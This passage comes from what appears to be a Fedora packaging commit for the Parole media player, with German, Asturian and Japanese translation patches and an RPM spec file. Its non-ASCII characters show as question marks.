+msgstr "Nachfolgender Titel"
+
+#: ../parole/main.c:188
+msgid "Previous track"
+msgstr "Vorheriger Titel"
+
+#: ../parole/main.c:189
+msgid "Seek forward"
+msgstr "Vorspulen"
+
+#: ../parole/main.c:190
+msgid "Seek Backward"
+msgstr "Zur?ckspulen"
+
+#: ../parole/main.c:191
+msgid "Raise volume"
+msgstr "Lautst?rke erh?hen"
+
+#: ../parole/main.c:192
+msgid "Lower volume"
+msgstr "Lautst?rke senken"
+
+#: ../parole/main.c:193
+msgid "Mute volume"
+msgstr "Stummschalten"
+
+#: ../parole/main.c:194
+msgid "Version information"
+msgstr "Versionsinformation"
+
+#: ../parole/main.c:196
+msgid "Media to play"
+msgstr "Medien zum Abspielen"
+
+#: ../parole/main.c:231
+#, c-format
+msgid "Parole is already running, use -i to open a new instance\n"
+msgstr ""
+"Parole l?uft bereits, verwenden Sie -i, um eine neue Instanz zu ?ffnen\n"
+
+#: ../parole/parole-gst.c:1289
+msgid ""
+"Unable to load playbin GStreamer plugin, check your GStreamer installation"
+msgstr ""
+"Playbin-GStreamer-Plugin kann nicht geladen werden, ?berpr?fen Sie Ihre "
+"GStreamer-Installation"
+
+#: ../parole/parole-gst.c:1305
+msgid "Unable to load video GStreamer plugin, check your GStreamer installation"
+msgstr ""
+"Video-GStreamer-Plugin kann nicht geladen werden, ?berpr?fen Sie Ihre "
+"GStreamer-Installation"
+
+#: ../parole/parole-gst.c:1501
+msgid "The stream is taking too much time to load"
+msgstr "Der Stream ben?tigt zu viel Zeit zum Laden"
+
+#: ../parole/parole-gst.c:1501
+msgid "Stop"
+msgstr "Stop"
+
+#: ../parole/parole-mediachooser.c:155
+msgid "Add media files"
+msgstr "Mediendateien hinzuf?gen"
+
+#: ../parole/parole-mediachooser.c:174
+msgid "Add"
+msgstr "Hinzuf?gen"
+
+#: ../parole/parole-medialist.c:445
+msgid "Error saving playlist file"
+msgstr "Fehler beim Speichern der Wiedergabelistendatei"
+
+#: ../parole/parole-medialist.c:445
+msgid "Permission denied"
+msgstr "Erlaubnis verweigert"
+
+#: ../parole/parole-medialist.c:454
+msgid "Unknown playlist format, Please select a support playlist format"
+msgstr ""
+"Unbekanntes Wiedergabelistenformat, bitte w?hlen Sie ein unterst?tztes Format"
+
+#: ../parole/parole-medialist.c:520 ../parole/parole-player.c:1591
+msgid "Playlist"
+msgstr "Wiedergabeliste"
+
+#: ../parole/parole-medialist.c:527
+msgid "M3U Playlists"
+msgstr "M3U-Wiedergabelisten"
+
+#: ../parole/parole-medialist.c:535
+msgid "PLS Playlists"
+msgstr "PLS-Wiedergabelisten"
+
+#: ../parole/parole-medialist.c:543
+msgid "Advanced Stream Redirector"
+msgstr "Advanced Stream Redirector"
+
+#: ../parole/parole-medialist.c:551
+msgid "Shareable Playlist"
+msgstr "Gemeinsame Wiedergabeliste"
+
+#: ../parole/parole-medialist.c:866
+msgid "Remember playlist"
+msgstr "Wiedergabeliste speichern"
+
+#: ../parole/parole-medialist.c:1016
+msgid "Media list"
+msgstr "Medienliste"
+
+#: ../parole/parole-player.c:297
+msgid "Hide playlist"
+msgstr "Wiedergabeliste verbergen"
+
+#: ../parole/parole-player.c:306
+msgid "Show playlist"
+msgstr "Wiedergabeliste anzeigen"
+
+#: ../parole/parole-player.c:521
+msgid "Media stream is not seekable"
+msgstr "Medien-Stream ist nicht durchsuchbar"
+
+#.
+#. * Next chapter menu item
+#.
+#: ../parole/parole-player.c:1047 ../parole/parole-disc-menu.c:122
+msgid "Next Track"
+msgstr "Nachfolgender Titel"
+
+#.
+#. * Previous chapter menu item
+#.
+#: ../parole/parole-player.c:1059 ../parole/parole-disc-menu.c:123
+msgid "Previous Track"
+msgstr "Vorheriger Titel"
+
+#: ../parole/parole-statusbar.c:60
+msgid "Buffering"
+msgstr "Puffervorgang"
+
+#: ../parole/parole-statusbar.c:77
+msgid "Stopped"
+msgstr "Angehalten"
+
+#: ../parole/parole-statusbar.c:81
+msgid "Finished"
+msgstr "Beendet"
+
+#: ../parole/parole-statusbar.c:88 ../parole/parole-statusbar.c:96
+msgid "Paused"
+msgstr "Pause"
+
+#: ../parole/parole-statusbar.c:88
+msgid "Playing"
+msgstr "Wiedergabe"
+
+#: ../parole/parole-statusbar.c:117
+msgid "Live stream:"
+msgstr "Live-Stream:"
+
+#: ../parole/parole-filters.c:57
+msgid "Audio"
+msgstr "Audio"
+
+#: ../parole/parole-filters.c:75
+msgid "Video"
+msgstr "Video"
+
+#: ../parole/parole-filters.c:93
+msgid "Audio and video"
+msgstr "Audio und Video"
+
+#: ../parole/parole-filters.c:111
+msgid "All supported files"
+msgstr "Unterst?tzte Dateien"
+
+#: ../parole/parole-filters.c:127
+msgid "Playlist files"
+msgstr "Wiedergabelisten-Dateien"
+
+#: ../parole/parole-about.c:56
+msgid "Author/Maintainer"
+msgstr "Autor/Betreuer"
+
+#: ../parole/parole-about.c:62
+#, c-format
+msgid "Translator (%s)"
+msgstr "?bersetzer (%s)"
+
+#: ../parole/parole-disc.c:202
+msgid "Play Disc"
+msgstr "Medium abspielen"
+
+#: ../parole/parole-subtitle-encoding.c:165
+msgid "Current Locale"
+msgstr "Derzeitige Standorteinstellungen"
+
+#: ../parole/parole-subtitle-encoding.c:168
+#: ../parole/parole-subtitle-encoding.c:170
+#: ../parole/parole-subtitle-encoding.c:172
+#: ../parole/parole-subtitle-encoding.c:174
+msgid "Arabic"
+msgstr "Arabisch"
+
+#: ../parole/parole-subtitle-encoding.c:177
+msgid "Armenian"
+msgstr "Armenisch"
+
+#: ../parole/parole-subtitle-encoding.c:180
+#: ../parole/parole-subtitle-encoding.c:182
+#: ../parole/parole-subtitle-encoding.c:184
+msgid "Baltic"
+msgstr "Baltisch"
+
+#: ../parole/parole-subtitle-encoding.c:187
+msgid "Celtic"
+msgstr "Keltisch"
+
+#: ../parole/parole-subtitle-encoding.c:190
+#: ../parole/parole-subtitle-encoding.c:192
+#: ../parole/parole-subtitle-encoding.c:194
+#: ../parole/parole-subtitle-encoding.c:196
+msgid "Central European"
+msgstr "Mitteleurop?isch"
+
+#: ../parole/parole-subtitle-encoding.c:199
+#: ../parole/parole-subtitle-encoding.c:201
+#: ../parole/parole-subtitle-encoding.c:203
+#: ../parole/parole-subtitle-encoding.c:205
+msgid "Chinese Simplified"
+msgstr "Chinesisch (vereinfacht)"
+
+#: ../parole/parole-subtitle-encoding.c:208
+#: ../parole/parole-subtitle-encoding.c:210
+#: ../parole/parole-subtitle-encoding.c:212
+msgid "Chinese Traditional"
+msgstr "Chinesisch (traditionell)"
+
+#: ../parole/parole-subtitle-encoding.c:215
+msgid "Croatian"
+msgstr "Kroatisch"
+
+#: ../parole/parole-subtitle-encoding.c:218
+#: ../parole/parole-subtitle-encoding.c:220
+#: ../parole/parole-subtitle-encoding.c:222
+#: ../parole/parole-subtitle-encoding.c:224
+#: ../parole/parole-subtitle-encoding.c:226
+#: ../parole/parole-subtitle-encoding.c:228
+msgid "Cyrillic"
+msgstr "Kyrillisch"
+
+#: ../parole/parole-subtitle-encoding.c:231
+msgid "Cyrillic/Russian"
+msgstr "Kyrillisch/Russisch"
+
+#: ../parole/parole-subtitle-encoding.c:234
+#: ../parole/parole-subtitle-encoding.c:236
+msgid "Cyrillic/Ukrainian"
+msgstr "Kyrillisch/Ukrainisch"
+
+#: ../parole/parole-subtitle-encoding.c:239
+msgid "Georgian"
+msgstr "Georgisch"
+
+#: ../parole/parole-subtitle-encoding.c:242
+#: ../parole/parole-subtitle-encoding.c:244
+#: ../parole/parole-subtitle-encoding.c:246
+msgid "Greek"
+msgstr "Griechisch"
+
+#: ../parole/parole-subtitle-encoding.c:249
+msgid "Gujarati"
+msgstr "Gujarati"
+
+#: ../parole/parole-subtitle-encoding.c:252
+msgid "Gurmukhi"
+msgstr "Gurmukhi"
+
+#: ../parole/parole-subtitle-encoding.c:255
+#: ../parole/parole-subtitle-encoding.c:257
+#: ../parole/parole-subtitle-encoding.c:259
+#: ../parole/parole-subtitle-encoding.c:261
+msgid "Hebrew"
+msgstr "Hebr?isch"
+
+#: ../parole/parole-subtitle-encoding.c:264
+msgid "Hebrew Visual"
+msgstr "Hebr?isch (visuell)"
+
+#: ../parole/parole-subtitle-encoding.c:267
+msgid "Hindi"
+msgstr "Hindi"
+
+#: ../parole/parole-subtitle-encoding.c:270
+msgid "Icelandic"
+msgstr "Isl?ndisch"
+
+#: ../parole/parole-subtitle-encoding.c:273
+#: ../parole/parole-subtitle-encoding.c:275
+#: ../parole/parole-subtitle-encoding.c:277
+msgid "Japanese"
+msgstr "Japanisch"
+
+#: ../parole/parole-subtitle-encoding.c:280
+#: ../parole/parole-subtitle-encoding.c:282
+#: ../parole/parole-subtitle-encoding.c:284
+#: ../parole/parole-subtitle-encoding.c:286
+msgid "Korean"
+msgstr "Koreanisch"
+
+#: ../parole/parole-subtitle-encoding.c:289
+msgid "Nordic"
+msgstr "Nordisch"
+
+#: ../parole/parole-subtitle-encoding.c:292
+msgid "Persian"
+msgstr "Persisch"
+
+#: ../parole/parole-subtitle-encoding.c:295
+#: ../parole/parole-subtitle-encoding.c:297
+msgid "Romanian"
+msgstr "Rum?nisch"
+
+#: ../parole/parole-subtitle-encoding.c:300
+msgid "South European"
+msgstr "S?deurop?isch"
+
+#: ../parole/parole-subtitle-encoding.c:303
+msgid "Thai"
+msgstr "Thai"
+
+#: ../parole/parole-subtitle-encoding.c:306
+#: ../parole/parole-subtitle-encoding.c:308
+#: ../parole/parole-subtitle-encoding.c:310
+#: ../parole/parole-subtitle-encoding.c:312
+msgid "Turkish"
+msgstr "T?rkisch"
+
+#: ../parole/parole-subtitle-encoding.c:315
+#: ../parole/parole-subtitle-encoding.c:317
+#: ../parole/parole-subtitle-encoding.c:319
+#: ../parole/parole-subtitle-encoding.c:321
+#: ../parole/parole-subtitle-encoding.c:323
+msgid "Unicode"
+msgstr "Unicode"
+
+#: ../parole/parole-subtitle-encoding.c:326
+#: ../parole/parole-subtitle-encoding.c:328
+#: ../parole/parole-subtitle-encoding.c:330
+#: ../parole/parole-subtitle-encoding.c:332
+#: ../parole/parole-subtitle-encoding.c:334
+msgid "Western"
+msgstr "Westlich"
+
+#: ../parole/parole-subtitle-encoding.c:337
+#: ../parole/parole-subtitle-encoding.c:339
+#: ../parole/parole-subtitle-encoding.c:341
+msgid "Vietnamese"
+msgstr "Vietnamesisch"
+
+#: ../parole/parole-open-location.c:181
+msgid "Open location..."
+msgstr "Ort ?ffnen ?"
+
+#: ../parole/parole-open-location.c:186
+msgid "<b>Open location of media file or live stream:</b>"
+msgstr "<b>Ort einer Mediendatei oder eines Live-Streams ?ffnen:</b>"
+
+#: ../parole/parole-open-location.c:205
+msgid "Clear history"
+msgstr "Chronik leeren"
+
+#: ../parole/parole-disc-menu.c:130
+msgid "Playing Track"
+msgstr "Titel wird abgespielt"
+
+#: ../parole/parole-disc-menu.c:194
+#, c-format
+msgid "Track %i"
+msgstr "Titel %i"
+
+#: ../parole/parole-plugins-manager.c:227
+#: ../parole/parole-plugins-manager.c:285
+msgid "Visit Website"
+msgstr "Web-Seite besuchen"
+
+#: ../plugins/properties/stream-properties.c:121
+#: ../plugins/properties/stream-properties.c:122
+#: ../plugins/properties/stream-properties.c:123
+#: ../plugins/properties/stream-properties.c:124
+msgid "Unknown"
+msgstr "Unbekannt"
+
+#: ../plugins/properties/stream-properties.c:220
+msgid "Title:"
+msgstr "Titel:"
+
+#: ../plugins/properties/stream-properties.c:243
+msgid "Artist:"
+msgstr "Interpret:"
+
+#: ../plugins/properties/stream-properties.c:266
+msgid "Album:"
+msgstr "Album:"
+
+#: ../plugins/properties/stream-properties.c:289
+msgid "Year:"
+msgstr "Jahr:"
+
+#: ../plugins/properties/stream-properties.c:307
+msgid "General"
+msgstr "Allgemein"
+
+#: ../plugins/properties/stream-properties.c:354
+msgid "Stream doesn't support tags changes"
+msgstr "Stream unterst?tzt keine ?nderungen der Tags"
+
+#: ../plugins/properties/stream-properties.c:361
+msgid "Save media tags changes"
+msgstr "?nderungen der Medien-Tags speichern"
+
+#. Construct function
+#: ../plugins/properties/stream-properties.c:490
+msgid "Properties"
+msgstr "Eigenschaften"
+
+#. Title
+#: ../plugins/properties/stream-properties.c:491
+msgid "Read media properties"
+msgstr "Medieneigenschaften lesen"
+
+#: ../plugins/tray/tray-icon.c:222
+msgid "<b>Playing:</b>"
+msgstr "<b>Wiedergabe:</b>"
+
+#: ../plugins/tray/tray-icon.c:222
+msgid "<b>Duration:</b>"
+msgstr "<b>Dauer:</b>"
+
+#: ../plugins/tray/tray-icon.c:373
+msgid "Tray icon plugin"
+msgstr "Benachrichtigungsfeld-Plugin"
+
+#: ../plugins/tray/tray-icon.c:383
+msgid "Enable notification"
+msgstr "Benachrichtigungen aktivieren"
+
+#: ../plugins/tray/tray-icon.c:392
+msgid "Always minimize to tray when window is closed"
+msgstr ""
+"Immer ins Benachrichtigungsfeld minimieren, wenn das Fenster geschlossen wird"
+
+#: ../plugins/tray/tray-icon.c:431
+msgid "Minimize to tray?"
+msgstr "Ins Benachrichtigungsfeld minimieren?"
+
+#: ../plugins/tray/tray-icon.c:437
+msgid "Minimize to tray"
+msgstr "Ins Benachrichtigungsfeld minimieren"
+
+#: ../plugins/tray/tray-icon.c:453
+msgid "Are you sure you want to quit Parole"
+msgstr "Sind Sie sicher, dass Sie Parole beenden wollen?"
+
+#: ../plugins/tray/tray-icon.c:457
+msgid "Remember my choice"
+msgstr "Auswahl merken"
+
+#. Construct function
+#: ../plugins/tray/tray-icon.c:544
+msgid "Tray icon"
+msgstr "Symbol im Benachrichtigungsfeld"
+
+#. Title
+#: ../plugins/tray/tray-icon.c:545
+msgid "Show icon in the system tray"
+msgstr "Symbol im Benachrichtigungsfeld anzeigen"
+
+#. Construct function
+#: ../plugins/window-title/window-title.c:102
+msgid "Window title"
+msgstr "Fenstertitel"
+
+#. Title
+#: ../plugins/window-title/window-title.c:103
+msgid ""
+"Set the main window name to the current\n"
+" playing media name."
+msgstr ""
+"Fenstertitel auf den Namen des derzeit\n"
+" abgespielten Mediums setzen."
--
cgit v0.8.2.1

parole-0.1.90-update-asturian-translation.patch:
 ast.po |   86 ++++++++++++++++++++++++++++-------------------------------------
 1 file changed, 38 insertions(+), 48 deletions(-)

--- NEW FILE parole-0.1.90-update-asturian-translation.patch ---
>From b9fa73571f68b49b0836404aac4fe2a8419efba8 Mon Sep 17 00:00:00 2001
From: I?igo Varela <malditoastur at gmail.com>
Date: Tue, 06 Oct 2009 11:58:54 +0000
Subject: l10n: Updates to Asturian (ast) translation

Transmitted-via: Transifex (translations.xfce.org)
---
diff --git a/po/ast.po b/po/ast.po
index 09351ad..ae28204 100644
--- a/po/ast.po
+++ b/po/ast.po
@@ -7,8 +7,8 @@ msgid ""
 msgstr ""
 "Project-Id-Version: ast\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-10-06 10:11+0000\n"
-"PO-Revision-Date: 2009-09-03 13:51+0100\n"
+"POT-Creation-Date: 2009-10-06 10:12+0000\n"
+"PO-Revision-Date: 2009-10-06 13:58+0100\n"
 "Last-Translator: astur <malditoastur at gmail.com>\n"
 "Language-Team: Asturian <alministradores at softastur.org>\n"
 "MIME-Version: 1.0\n"
@@ -54,7 +54,8 @@ msgstr "Media player"
 msgid "Mute"
 msgstr "Silenciar"
 
-#: ../data/interfaces/parole.ui.h:10 ../parole/parole-player.c:1047
+#: ../data/interfaces/parole.ui.h:10
+#: ../parole/parole-player.c:1047
 #: ../parole/parole-disc-menu.c:113
 msgid "Next Chapter"
 msgstr "Siguiente Cap?tulu Chapter"
@@ -63,8 +64,10 @@ msgstr "Siguiente Cap?tulu Chapter"
 msgid "None"
 msgstr "Deng?n"
 
-#: ../data/interfaces/parole.ui.h:12 ../data/desktop/parole.desktop.in.in.h:1
-#: ../parole/parole-player.c:234 ../parole/parole-about.c:51
+#: ../data/interfaces/parole.ui.h:12
+#: ../data/desktop/parole.desktop.in.in.h:1
+#: ../parole/parole-player.c:234
+#: ../parole/parole-about.c:51
 #: ../plugins/window-title/window-title.c:40
 msgid "Parole Media Player"
 msgstr "Parole Media Player"
@@ -73,7 +76,8 @@ msgstr "Parole Media Player"
 msgid "Plugins"
 msgstr "Plugins"
 
-#: ../data/interfaces/parole.ui.h:14 ../parole/parole-player.c:1059
+#: ../data/interfaces/parole.ui.h:14
+#: ../parole/parole-player.c:1059
 #: ../parole/parole-disc-menu.c:114
 msgid "Previous Chapter"
 msgstr "Cap?tulu Previu"
@@ -135,14 +139,12 @@ msgid "<b>Site:</b>"
 msgstr "<b>Sitiu:</b>"
 
 #: ../data/interfaces/plugins.ui.h:4
-#, fuzzy
 msgid "Media Player plugins"
-msgstr "Axustes del Reproductor de Medios"
+msgstr "Plugins del Reproductor de Medios"
 
 #: ../data/interfaces/plugins.ui.h:5
-#, fuzzy
 msgid "Parole Plugins"
-msgstr "Preferencies de Complementos de Parole"
+msgstr "Plugins de Parole"
 
 #: ../data/interfaces/parole-settings.ui.h:1
 msgid "<b>Audio</b>"
@@ -239,42 +241,39 @@ msgstr "Abrir nueva instancia"
 
 #: ../parole/main.c:185
 msgid "Play or pause if already playing"
-msgstr ""
+msgstr "Reproducir o posar"
 
 #: ../parole/main.c:186
-#, fuzzy
 msgid "Stop playing"
-msgstr "Amosar llista de reproducci?n"
+msgstr "Detener reproducci?n"
 
 #: ../parole/main.c:187
-#, fuzzy
 msgid "Next track"
 msgstr "Siguiente pista"
 
 #: ../parole/main.c:188
-#, fuzzy
 msgid "Previous track"
 msgstr "Pista previa"
 
 #: ../parole/main.c:189
 msgid "Seek forward"
-msgstr ""
+msgstr "Guetar haza alantre"
 
 #: ../parole/main.c:190
 msgid "Seek Backward"
-msgstr ""
+msgstr "Guetar haza atr?s"
 
 #: ../parole/main.c:191
 msgid "Raise volume"
-msgstr ""
+msgstr "Xubir el volume"
 
 #: ../parole/main.c:192
 msgid "Lower volume"
-msgstr ""
+msgstr "Menor volume"
 
 #: ../parole/main.c:193
 msgid "Mute volume"
-msgstr ""
+msgstr "Silenciar"
 
 #: ../parole/main.c:194
 msgid "Version information"
@@ -290,21 +289,14 @@ msgid "Parole is already running, use -i to open a new instance\n"
 msgstr "Parole y? ta execut?ndose, use -i p'abrir una nueva instancia\n"
 
 #: ../parole/parole-gst.c:1289
-msgid ""
-"Unable to load playbin GStreamer plugin, check your GStreamer installation"
-msgstr ""
-"Nun pudo cargase'l complementu playbin GStreamer, comprebe la so instalaci?n "
-"de GStreamer"
+msgid "Unable to load playbin GStreamer plugin, check your GStreamer installation"
+msgstr "Nun pudo cargase'l complementu playbin GStreamer, comprebe la so instalaci?n de GStreamer"
 
 #: ../parole/parole-gst.c:1305
-msgid ""
-"Unable to load video GStreamer plugin, check your GStreamer installation"
-msgstr ""
-"Nun pudo cargase'l complementu video GStreamer, comprebe la so instalaci?n "
-"de GStreamer"
+msgid "Unable to load video GStreamer plugin, check your GStreamer installation"
+msgstr "Nun pudo cargase'l complementu video GStreamer, comprebe la so instalaci?n de GStreamer"
 
 #: ../parole/parole-gst.c:1501
-#, fuzzy
 msgid "The stream is taking too much time to load"
 msgstr "El fluxu ta llevando enforma tiempu pa cargar"
 
@@ -330,11 +322,10 @@ msgstr "Permisu torg?u"
 
 #: ../parole/parole-medialist.c:454
 msgid "Unknown playlist format, Please select a support playlist format"
-msgstr ""
-"Formatu de llista desconoc?u, por favor esbille una llista con formatu "
-"sofit?u t?unicamente"
+msgstr "Formatu de llista desconoc?u, por favor esbille una llista con formatu sofit?u t?unicamente"
 
-#: ../parole/parole-medialist.c:520 ../parole/parole-player.c:1591
+#: ../parole/parole-medialist.c:520
+#: ../parole/parole-player.c:1591
 msgid "Playlist"
 msgstr "Llista de reproducci?n"
 
@@ -377,14 +368,16 @@ msgstr "Nun s'alcuentra el Fluxu (stream) de Medios"
 #.
 #. * Next chapter menu item
 #.
-#: ../parole/parole-player.c:1047 ../parole/parole-disc-menu.c:122
+#: ../parole/parole-player.c:1047
+#: ../parole/parole-disc-menu.c:122
 msgid "Next Track"
 msgstr "Siguiente pista"
 
 #.
 #. * Previous chapter menu item
 #.
-#: ../parole/parole-player.c:1059 ../parole/parole-disc-menu.c:123
+#: ../parole/parole-player.c:1059
+#: ../parole/parole-disc-menu.c:123
 msgid "Previous Track"
 msgstr "Pista previa"
 
@@ -400,7 +393,8 @@ msgstr "Par?u"
 msgid "Finished"
 msgstr "Fin?u"
 
-#: ../parole/parole-statusbar.c:88 ../parole/parole-statusbar.c:96
+#: ../parole/parole-statusbar.c:88
+#: ../parole/parole-statusbar.c:96
 msgid "Paused"
 msgstr "Pos?u"
 
@@ -697,24 +691,23 @@ msgstr "Activar notificaci?n"
 
 #: ../plugins/tray/tray-icon.c:392
 msgid "Always minimize to tray when window is closed"
-msgstr ""
+msgstr "Minimizar siempres a la bandexa cuando se zarra la ventana"
 
 #: ../plugins/tray/tray-icon.c:431
 msgid "Minimize to tray?"
-msgstr ""
+msgstr "Minimizar a la bandexa?"
 
 #: ../plugins/tray/tray-icon.c:437
 msgid "Minimize to tray"
-msgstr ""
+msgstr "Minimizar a la bandexa"
 
 #: ../plugins/tray/tray-icon.c:453
 msgid "Are you sure you want to quit Parole"
-msgstr ""
+msgstr "Daveres quies quitar Parole?"
 
 #: ../plugins/tray/tray-icon.c:457
-#, fuzzy
 msgid "Remember my choice"
-msgstr "Remembrar llista de reproducci?n"
+msgstr "Remembrar la mio eleici?n"
 
 #. Construct function
 #: ../plugins/tray/tray-icon.c:544
@@ -742,12 +735,10 @@ msgstr ""
 
 #~ msgid "gtk-leave-fullscreen"
 #~ msgstr "gtk-leave-fullscreen"
-
 #~ msgid "gtk-close"
 #~ msgstr "gtk-close"
-
 #~ msgid "gtk-properties"
 #~ msgstr "gtk-properties"
-
 #~ msgid "Visite Website"
 #~ msgstr "Visite P?xina Web"
+
--
cgit v0.8.2.1

parole-0.1.90-update-japanese-translation.patch:
 ja.po |   34 +++++++++++++++-------------------
 1 file changed, 15 insertions(+), 19 deletions(-)

--- NEW FILE parole-0.1.90-update-japanese-translation.patch ---
>From 72afaf0774f8afcfbb15c8b4389282ba363bc621 Mon Sep 17 00:00:00 2001
From: Masato Hashimoto <cabezon.hashimoto at gmail.com>
Date: Tue, 06 Oct 2009 09:54:06 +0000
Subject: l10n: Updates to Japanese (ja) translation

Transmitted-via: Transifex (translations.xfce.org)
---
diff --git a/po/ja.po b/po/ja.po
index ec9472c..1da7f9c 100644
--- a/po/ja.po
+++ b/po/ja.po
@@ -8,8 +8,8 @@ msgid ""
 msgstr ""
 "Project-Id-Version: parole 0.1.90\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-10-06 10:11+0000\n"
-"PO-Revision-Date: 2009-10-06 00:40+0900\n"
+"POT-Creation-Date: 2009-10-06 18:17+0900\n"
+"PO-Revision-Date: 2009-10-06 18:17+0900\n"
 "Last-Translator: Masato Hashimoto <cabezon.hashimoto at gmail.com>\n"
 "Language-Team: Japanese <xfce-users-jp at ml.fdiary.net>\n"
 "MIME-Version: 1.0\n"
@@ -100,11 +100,11 @@ msgstr "????"
 
 #: ../data/interfaces/parole.ui.h:20
 msgid "Volume Down"
-msgstr "?????????"
+msgstr "?????????"
 
 #: ../data/interfaces/parole.ui.h:21
 msgid "Volume Up"
-msgstr "?????????"
+msgstr "?????????"
 
 #: ../data/interfaces/parole.ui.h:22
 msgid "_Edit"
@@ -135,14 +135,12 @@ msgid "<b>Site:</b>"
 msgstr "<b>???:</b>"
 
 #: ../data/interfaces/plugins.ui.h:4
-#, fuzzy
 msgid "Media Player plugins"
-msgstr "???????????"
+msgstr "??????????????"
 
 #: ../data/interfaces/plugins.ui.h:5
-#, fuzzy
 msgid "Parole Plugins"
-msgstr "Parole ???????"
+msgstr "Parole ?????"
 
 #: ../data/interfaces/parole-settings.ui.h:1
 msgid "<b>Audio</b>"
@@ -174,7 +172,7 @@ msgstr "???????????????"
 
 #: ../data/interfaces/parole-settings.ui.h:8
 msgid "Encoding: "
-msgstr "????????:"
+msgstr "????????: "
 
 #: ../data/interfaces/parole-settings.ui.h:9
 msgid "Font:"
@@ -210,7 +208,7 @@ msgstr "???"
 
 #: ../data/interfaces/save-playlist.ui.h:2
 msgid "Select File Types (By Extension)"
-msgstr "????????? (????)"
+msgstr "?????????? (????)"
 
 #: ../parole/main.c:53
 #, c-format
@@ -239,7 +237,7 @@ msgstr "????????????"
 
 #: ../parole/main.c:185
 msgid "Play or pause if already playing"
-msgstr "??????????????/??"
+msgstr "????????????/????"
 
 #: ../parole/main.c:186
 msgid "Stop playing"
@@ -299,7 +297,7 @@ msgstr ""
 msgid ""
 "Unable to load video GStreamer plugin, check your GStreamer installation"
 msgstr ""
-"video GStreamer ??????????????GStreamer ???????????"
+"video GStreamer ??????????????GStreamer ???????????"
 "?????????????????"
 
 #: ../parole/parole-gst.c:1501
@@ -693,24 +691,23 @@ msgstr "????????"
 
 #: ../plugins/tray/tray-icon.c:392
 msgid "Always minimize to tray when window is closed"
-msgstr ""
+msgstr "???????????????????????"
 
 #: ../plugins/tray/tray-icon.c:431
 msgid "Minimize to tray?"
-msgstr ""
+msgstr "????????????"
 
 #: ../plugins/tray/tray-icon.c:437
 msgid "Minimize to tray"
-msgstr ""
+msgstr "???????"
 
 #: ../plugins/tray/tray-icon.c:453
 msgid "Are you sure you want to quit Parole"
-msgstr ""
+msgstr "Parole ??????????????"
 
 #: ../plugins/tray/tray-icon.c:457
-#, fuzzy
 msgid "Remember my choice"
-msgstr "?????????"
+msgstr "???????"
 
 #. Construct function
 #: ../plugins/tray/tray-icon.c:544
--
cgit v0.8.2.1


--- NEW FILE parole.spec ---
Name:           parole
Version:        0.1.90
Release:        2%{?dist}
Summary:        Media player for the Xfce desktop

Group:          Applications/Multimedia
License:        GPLv2+
URL:            http://goodies.xfce.org/projects/applications/parole
Source0:        http://archive.xfce.org/src/apps/parole/0.1/%{name}-%{version}.tar.bz2
# http://git.xfce.org/apps/parole/commit/?id=346982b9ca86b645b19385fa7549ec43e38c2b88
Patch0:         parole-0.1.90-fix-website-url.patch
# the following patches are just translation updates
# http://git.xfce.org/apps/parole/commit/?id=72afaf0774f8afcfbb15c8b4389282ba363bc621
Patch1:         parole-0.1.90-update-japanese-translation.patch
# http://git.xfce.org/apps/parole/commit/?id=df8ad0098db0d1bc1a2f08b89554607e8ec85b19
Patch2:         parole-0.1.90-include-galician-translation.patch
# http://git.xfce.org/apps/parole/commit/?id=b9fa73571f68b49b0836404aac4fe2a8419efba8
Patch3:         parole-0.1.90-update-asturian-translation.patch
# http://git.xfce.org/apps/parole/commit/?id=051f1a31c797c60ccedd1a36b6403aac9b950ed8
Patch4:         parole-0.1.90-include-french-translation.patch
# http://git.xfce.org/apps/parole/commit/?id=c30195f5b7d372f207d039b07d348d795886d926
Patch5:         parole-0.1.90-include-german-translation.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  gtk2-devel >= 2.16.0
BuildRequires:  gstreamer-plugins-base-devel >= 0.10.11
BuildRequires:  dbus-devel >= 0.60
BuildRequires:  dbus-glib-devel >= 0.70
BuildRequires:  libxfcegui4-devel >= 4.6.0
BuildRequires:  libnotify-devel >= 0.4.1
BuildRequires:  taglib-devel >= 1.4
BuildRequires:  desktop-file-utils
BuildRequires:  gettext 
BuildRequires:  intltool
# Note from upstream: "No, don't build the doc for now (API for plugins), 
# it is out of date and will not build."
#BuildRequires:  gtk-doc
Requires:       gstreamer-plugins-good

%description
Parole is a modern simple media player based on the GStreamer framework and 
written to fit well in the Xfce desktop. Parole features playback of local 
media files, DVD/CD and live streams. Parole is extensible via plugins.

The project still in its early developments stage, but already contains the 
following features:
* Audio playback
* Video playback with optional subtitle
* Playback of live sources


%package        devel
Summary:        Development files for %{name}
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
#Requires:       gtk-doc

%description    devel
The %{name}-devel package contains header files for developing plugins for 
%{name}.


%prep
%setup -q
%patch0 -p1 -b .orig
%patch1 -p1
%patch2 -p1
%patch3 -p1
%patch4 -p1
%patch5 -p1
# fix desktop file
sed -i 's|Application;|Application|g' data/desktop/%{name}.desktop.in.in


%build
%configure --disable-static #--enable-gtk-doc
make %{?_smp_mflags} V=1


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
find $RPM_BUILD_ROOT -type f -name "*.la" -exec rm -f {} ';'
%find_lang %{name}

desktop-file-install                                    \
  --delete-original                                     \
  --dir=%{buildroot}%{_datadir}/applications            \
  %{buildroot}/%{_datadir}/applications/%{name}.desktop


%clean
rm -rf $RPM_BUILD_ROOT


%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
update-mime-database %{_datadir}/mime &> /dev/null || :


%postun
if [ $1 -eq 0 ] ; then
  touch --no-create %{_datadir}/icons/hicolor &>/dev/null
  gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi
update-mime-database %{_datadir}/mime &> /dev/null || :


%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files -f %{name}.lang
%defattr(-,root,root,-)
%doc AUTHORS COPYING README TODO THANKS
%{_bindir}/%{name}
%dir %{_libdir}/%{name}-0/
%{_libdir}/%{name}-0/*.so
%{_datadir}/applications/%{name}.desktop
%{_datadir}/icons/hicolor/scalable/apps/%{name}.svg
%{_datadir}/%{name}/


%files devel
%defattr(-,root,root,-)
#%doc %{_datadir}/gtk-doc/html/%{name}/
%{_includedir}/%{name}/


%changelog
